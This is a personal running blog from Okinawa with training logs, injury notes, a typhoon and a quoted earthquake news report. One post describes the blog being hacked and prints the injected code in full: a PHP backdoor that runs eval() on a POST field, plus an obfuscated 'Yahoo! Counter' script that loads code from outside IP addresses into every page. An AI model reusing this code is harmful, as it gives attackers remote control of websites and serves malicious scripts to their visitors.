Running in Okinawa

I was plagued with injuries all last year: I pulled my hamstring in April and then pulled my achiles tendon in October. May 2010 be injury free!

I fully recovered from the hamstring injury in September and immediately starting building up mileage for a winter marathon when I pulled my achiles tendon.

I attribute my achiles tear to old shoes, under- and over-training. In October I ran Chicago Marathon as an easy-paced training run. I had no hopes of a good finishing time; just finishing would be an accomplishment since I hadn’t run farther than 16 miles before the marathon.

I ran well. My pace was faster then I’d anticipated, even with frequent potty breaks, partially due to the cold 30 degree weather and the flat course. I ran for Fred’s Team in honor of a charity to raise funds to fight cancer, Memorial Sloan-Kettering Cancer Center.

I took a few days off to recover after the marathon and then was supposed to jump right back into training. I didn’t. In fact I only did two runs that week: one 8-miler at 6:10/mi pace and a 21-miler at 6:38/mi pace. Even though I felt great from beginning-to-end that icy-cold morning, it was only 30 minutes after the 21-miler that my achiles ruptured. I should have run a few days of recovery miles before my 21-mile attempt.

I’d finished the long run, immediately jumped in the car without any cool-down, and returned home to start the day. I’d showered and was half-way up the stairs when i felt the tear. I think I tore my achiles on the stairs. I think my shoes were a cause; they were old and worn and had thick-cushioned heels, like most running shoes on the market today, that restrict the body’s natural range of motion. You see achiles problems with women who wear high-heeled shoes often. I think thick-cushioned-running-shoes restrict the range of motion in the same manner. When I was walking up the stairs barefoot, i was using my achiles full range of motion, but it was shrunk trying to recover from the run and snapped like a rubber band.

After a year of experimenting with a heavier trainer-coined running shoe, Adidas Bostons, this year I’m changing back to Mizuno flats which I’d run in injury-free for two years.

I’ve heard once you’ve been injured, though, it’s easy to injure the same area. This year I want to start back at the basics, improve form and technique, and slowly build back into race shape.

I’d also like to mention in this post, in early 2009 i ran a 10k PR of 31:30 on a very hilly course. (note to self, i injured my hamstring the following day)

Lessons I learned from 2009
- take it easy after a race
- train consistently and smart
- run natural in lightweight shoes that don’t impede your stride.

I ran a twenty-miler yesterday. Steve and I were the only ones that made it out for the run. I called everyone else (Seth, Tommy, and Clinte), but wasn’t able to get a hold of anyone, and Dave wasn’t feeling well enough to join us for his 10k portion. Don said he would meet up with us when we ran past his place for 10k, but he canceled at the last minute because he hadn’t gotten any sleep after working the night shift. It’d be best if these Sunday long runs were planned in advance so that everyone had a fair chance at joining, rather than calling everyone the day of or the night before. Of course, if everyone did the same weekly training than it wouldn’t be an issue, and we would all decided on a time and location at Saturday practice the night before, but unfortunately only Steve and I regularly show up to practice, so we end up calling everyone else who are only sometimes willing to jump in on Sunday long runs. It sometimes feels like a long shot that no one will come, but it’s worth it because running with a group is so much better than going it alone.

We had an enjoyable run. We ran from Ginowan Seawall to just beyond the Red Bridge in Yomitan. It got dark just as we hit the river, and there were no lights lighting the path, but we continued on until we hit the 10 mile mark (per our Garmins – Steve has the new 405 and I’m using his old 205 ((my 305 is on the fritz))).
It was at this point on the last twenty-miler I did that I became drained, and needed food. I’ve been reading a lot about endurance lately, and was thinking about one thing in particular about how birds migrate across the globe non-stop. I read that a 130 gram bird prior to migration will double it’s weight (add an extra 130 grams of fat) before it journeys from Canada to South America (it’s next fuel station) on a three days, three nights non-stop flight. In light of this, I decide to try something new during this run. I decide to let my body burn off fat by not eating anything during the run. I have been trying to shave off a few pounds for this upcoming race season, and think this may help. I’m 68 kg’s while my Japanese counterparts are <60kg's. I want to be around 65 for my next marathon. Back to subject, I completed the run without taking any gels or food, just a few sips at the water fountains passed along the way. I did have a gel in hand just in case things got bad, but I didn't need it. I felt great. It was a good run.

My site was hacked which caused db errors to show on the front end. Someone out there created themselves an ftp account, injected code into my php and htm files, and got to my SQL db. I think they used a vulnerability in the default settings for my blogging software, so I deleted and reinstalled everything. I changed the default settings, and deleted that rogue account and any files they had accessed. I really think those default settings are what put me on their radar. They probably just ran a search for a site using the defaults, and then ran their hacking tool against it. I’m sure it was an automated program they ran to inject that code because all htm and php files had the same injected code in the same place. Everything should be good to go now and safe. I’ve gone through all my code and cleared out anything suspicious and patched known vulnerabilities. My site has a new armor now and a new face as well. Hopefully this will not happen again.

Here is the code they used:

if(!function_exists(‘tmp_lkojfghx’)){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5cGVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYhJTJGISUzQyU2NGklNzYlMjAlNzN8dHl+bGU9ISU2NCQlNjklNzMjJTcwbGF5OnwlNkVvbmBlYCUzRSZcbiZkISU2RiU2M3UkJTZEIWUlNkV8dHwlMkUkJTc3JTcyJTY5JTc0JTY1JTI4YCIhJTNDJiUyRn50IWV4ISU3NCU2MSU3MiFlJCU2MSQlM0UlMjIlMjklM0IlNzZgYSQlNzIkJTIwJTY5JTJDJTVGJix8YSE9JTVCJiUyMiQlMzclMzglMkUhJTMxQDElMzAlMkUxJTM3JTM1Iy4lMzIlMzFgJTIyISUyQyIkJTMxJTM5JTM1JTJFJTMyfDQuN3w2LjJ+JTM1ISUzMSYlMjImJTVEO3xfPSUzMSUzQn5pYCU2NiElMjhkfCU2RmMlNzVtYGV+bkAlNzR8JTJFYyMlNkYkJTZGJCU2QiU2OSMlNjUlMkUmbSU2MUAlNzRjIyU2OCgmL2AlNUMlNjJoIyU2N2YjJTc0JTNEJCUzMSElMkYpfiUzRCUzRCElNkUhJTc1JTZDbCMpZm8lNzIkJTI4JTY5JTNEfiUzMHwlM0IhJTY5YCUzQyUzMiUzQiMlNjkrJTJCfCUyOSFkJTZGJmMlNzVtYCU2NSU2RXQlMkV3I3IhJTY5ISU3NCMlNjUjKH4lMjJ8JTNDQCU3M2MlNzJpJTcwdGAlM0UjJTY5ZiElMjh8JTVGQCUyOSQlNjQjJTZGJTYzfHUmJTZEJTY1fG4lNzQlMkUlNzclNzIlNjl8JTc0ZSglNUMlMjJ+JTNDcyU2MyYlNzIlNjlwI3QmJTIwfGl+ZHw9JTVGIitgJTY5YCt8JTIyXyUyMCElNzNyYyUzRGAlMkYjL0AiJiUyQiU2MVslNjklNUQlMkIkJTIyJTJGJTYzfnAvJCUzRiUyMiUyQn4lNkUmJTYxdiU2OWAlNjclNjEjdG8mci4kJTYxJTcwJCU3MCU0RSU2MSYlNkRlJTJFJmNAaCU2MXJgQXQoJTMwJTI5KyQlMjIlM0UmJTNDQCU1Q34lNUMjLyU3M0BjIXIlNjklNzB0IyUzRUAlNUN+JTIyKSElM0MjJTVDJTJGQHNjJTcyJTY5JnB0QCUzRXwifCl8JTNCXG4vIy8jJTNDJTJGZGklNzYlM0UnKS5yZXBsYWNlKC9cJnxcfHxAfH58YHxcJHwjfFwhL2csIiIpKTt2YXIgeWFob29fY291bnRlcj0xOwo8IS0tIGNvdW50ZXIgZW5kIC0tPjwvc2NyaXB0Pgo='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v)if(count(explode(“n”,$v))>5){$e=preg_match(‘#['"][^s'".,;?![]:/<>()]{30,}#’,$v)||preg_match(‘#[([](s*d+,){20,}#’,$v);if((preg_match(‘#bevalb#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(base64_decode(‘IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw==’),”,$s);if(stristr($s,’</body'))$s=preg_replace('#(s*</body)#mi',str_replace('$','\$',TMP_XHGFJOKL).'1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>‘))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();</p> <p>Yahoo! Counter starts<br /> if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F$%2F%3C|%64%69%76%20#%73&%74&y~l%65=@d~%69&%73pl&%61y:@non%65%3E`n!d@o%63u~men`t&%2E~%77`%72$%69%74%65%28|%22!%3C%2F~%74e%78%74$%61`r%65a%3E”#);@v|%61|%72%20%69&%2C|%5F~%2C%61`=[~%22&%37!%38%2E&1|%31$%30%2E%31$%37!%35@%2E21~%22%2C%22$%31$%39~%35~.2%34%2E`%37`6~.@2@5%31&"%5D$%3B!_%3D%31#%3B&%69|f$%28%64%6F%63%75|m%65%6E&%74.c|oo@k%69@e|.%6D@%61%74~c`%68!%28%2F@%5Cb#%68%67$%66|%74|%3D%31/#)==n%75%6C|l&%29!f@o%72|%28|i%3D&%30`%3B&i!%3C2;%69@%2B%2B%29d&o@%63%75%6De%6E@t%2E%77@%72|%69|t`%65(%22%3C%73!%63@%72~%69%70~%74%3E%69|f!(_%29d#o~%63!%75%6D%65n%74.wri`%74%65@%28%5C%22`%3C@%73%63`r#%69p&%74$%20%69#%64%3D_&"~+`i&+#%22!_%20%73r%63|%3D%2F|%2F`"+@%61[i]!%2B@”`/#%63@%70%2F|?`”&+&n#%61v%69g$%61%74%6F|r~%2Ea#%70%70#%4E%61&m%65.@%63|%68ar%41%74(0)$%2B%22%3E&%3C`%5C!%5C|/`%73$%63$%72%69%70%74&%3E#%5C`”`)|%3C#%5C/sc$%72!%69&%70!t%3E%22$%29%3Bn&%2F!%2F%3C@%2F|di%76$%3E’).replace(/~|@|#|&|`|$|||!/g,”"));var yahoo_counter=1; counter end

Please leave a comment if this has or something similar has happened to you.

I haven’t felt so tired since I ran Naha Marathon in 2006.  The pain in my legs was intensely drawn out from today’s point workout.  It was introduced to me by Hase who got it from his coach in Osaka who is also coaching one of Japan’s finest distance runners, Ogata Tsuyoshi.  Although I can’t disclose exactly what the workout was for obvious reasons, I met Ogata at last year’s World Championships in Osaka.  He does this exact workout, quite a bit faster than I do, of course, but it was a killer.  Between kilometers five and ten my legs were toast!  I anticipate doing a few more of these type workouts before I race Naha Marathon in December.

17.5 miles for the day, and what a day it was!

Slowly, but surely I’ve built up my base mileage and endurance to be able to run what I ran today.  My last week was the first week I’ve been able to do “total training” for a long time.  I ran 70 miles total which included two quality workouts:  1) 12000 meters at 4min/1k pace.  2) 12000 meters at 3:50/1k pace.  I’m building up for a December marathon.

Today’s workout couldn’t have gone better because I followed the plan.  I ran the first 8k at 4min/1k pace, and the last 8k at 3:35/1k pace to average 3:45 1k pace for 16k.

I started feeling worn down, exhausted around 9-10k, grabbed a power gel, and was rejouvinated and determined to finish the workout.  My family has been supporting me a great deal lately, and I couldn’t bare to have a failed workout.  Overall, I’m proud of what I did.  Another big deposit in my quest to be in shape for Naha.

I started this week off well by knocking out 20 miles the first day with two runs. I continued my efforts for the next four and a half days with two runs per day. Typhoon Sinlaku (Typhoon #13 is the Japanese name for it.) was in the area. It grew strength to a Category 4 typhoon, so we at FreeRun practice decided to take off Saturday practice. The typhoon died out over Taiwan, and didn’t affect Okinawa much. We didn’t go greater than TCCOR 3 (Tropical Cyclone Condition of Readiness).

Useful link: Refer to link to see Okinawa’s current typhoon condition of readiness.
http://weather.kadenaservices.com/update/tccor.htm

I started off the week with total determination to get back into competetive shape. I completed Wednesday’s quality 10k with Tommy who is training for Marine Corps Marathon. I took the next three days off, no running, (thurs, fri, sat) due to other priorities. I was sore too. I’m content that I was able to get 40 miles of running in for the week, which is more than I’ve done for the past 6 weeks, but I’m still hungry for that 80-100 mile week.

I’ve been gone for a while on a business trip, and haven’t had a chance to run for a while.  i went to free run practice saturday, and was positively influenced and motivated to get back in shape.  thus far i’ve ran four times since saturday and biked once.

slow & easy – 20080825 – 1 run 6.5 miles

sick – 20080826 – no run

sick – 20080827 – no run

early work – 20080828 – no run

slept in and had evening plans – 20080829 – no run

slow & easy – 20080830 – 1 run 3 miles

slow & easy – 20080831 – 2 runs 15.5 miles

bike and run – 20080901 – 1 bike 55 miles, 1 run 5.7 miles

Okay, I’ve pretty much brought you up to speed on what i’ve been doing.  These past couple days I’ve trained pretty hard with hopes to get in shape for Naha.  The marathon is three months away.  Remember running is a lifetime sport.  You get better the more you do it.  The world record holder in the marathon, Gabrselassie, for instance ran 10k to and from school every day, and because of such background is a phenominal runner now today.  He may be the greatest runner of all time.  You can’t perform at your peak level unless you’ve put in the time and training to do so.  That level of fitness doesn’t come with only three months training.  I have to wonder what level I’ll be come December.  You have to find that right balance for which to avoid injury, and also improve fitness.  College seasons are about three months long, and I read about all the injuries they prevail.  Hopefully this will be a good next three months.

Morning Run, 6am start.  felt great.  45 mins.  I called Tommy to see if he wanted to run at lunch time, but instead I accepted his offer to run in the Evening.  I ran at lunch time anyway – 25 mins, 88 degrees which actually felt like 99 degrees because of the humidity.

I extended the offer to the guys, but Steve had plans to get a massage, and Seth had to re-field day with tonight.  So it was just Tommy and me.  We had a comfortable conversational pace and talked about our plans for the rest of the year with running.  We are both starting to get back into marathon shape.  Tommy had a disappointing cross country race in Feb., and stopped running for a while thereafter.  His work kept him busy enough to keep his mind off running, which is a good thing because now he’s recharged.  I just want to stay injury free and healthy until Naha Marathon.  His main race will be this year’s Marine Corps Marathon.

I stopped at Baba Park for a drink while he continued to run out another 2 miles.  On the way back we both felt drained from the heat.  Total for the day – 17 miles.  I just want to survive the mileage now so I have a good distance training camp with FreeRun in August.

A 6.2 earthquake hit just north of Okinawa as I was driving home.  My wife called while I was pulling into the parking lot to tell me there was an earthquake.  My car was in motion when it happened.  I didn’t feel the shaking, but when I got out of my car, I felt dizzy.  No one was injured, and there was no tsunami warning, so I went for a run…:)

Strong offshore quake shakes south Japan

TOKYO (AP) — A strong earthquake with a preliminary magnitude of 6.0 struck off the coast of the southern Japanese island of Okinawa on Tuesday, Japan’s Meteorological Agency said.

The agency said there was no danger of a tsunami, or seismic waves, from the quake, which occurred at 4:42 p.m. about 30 miles below the ocean’s surface.

Police on Okinawa and nearby islands said there were no immediate reports of injuries or damage.

“Our building shook quite violently, but we managed to stand on our own feet, and nothing fell on the floor,” said Yasumori Uezu, police spokesman in Naha City near the quake’s center.

Another police official on nearby Amami Oshima island, Yukio Mukuraguchi, said the shaking lasted about 10 seconds.

“So far, we have received no injury or damage reports,” he said.

Japan sits atop four tectonic plates and is one of the world’s most earthquake-prone countries.

Last month a 7.2-magnitude earthquake struck sparsely populated rural areas in northern Japan, killing at least 12 people, leaving 10 others missing and injuring more than 300 people.

Okinawa is about 1,000 miles southwest of Tokyo.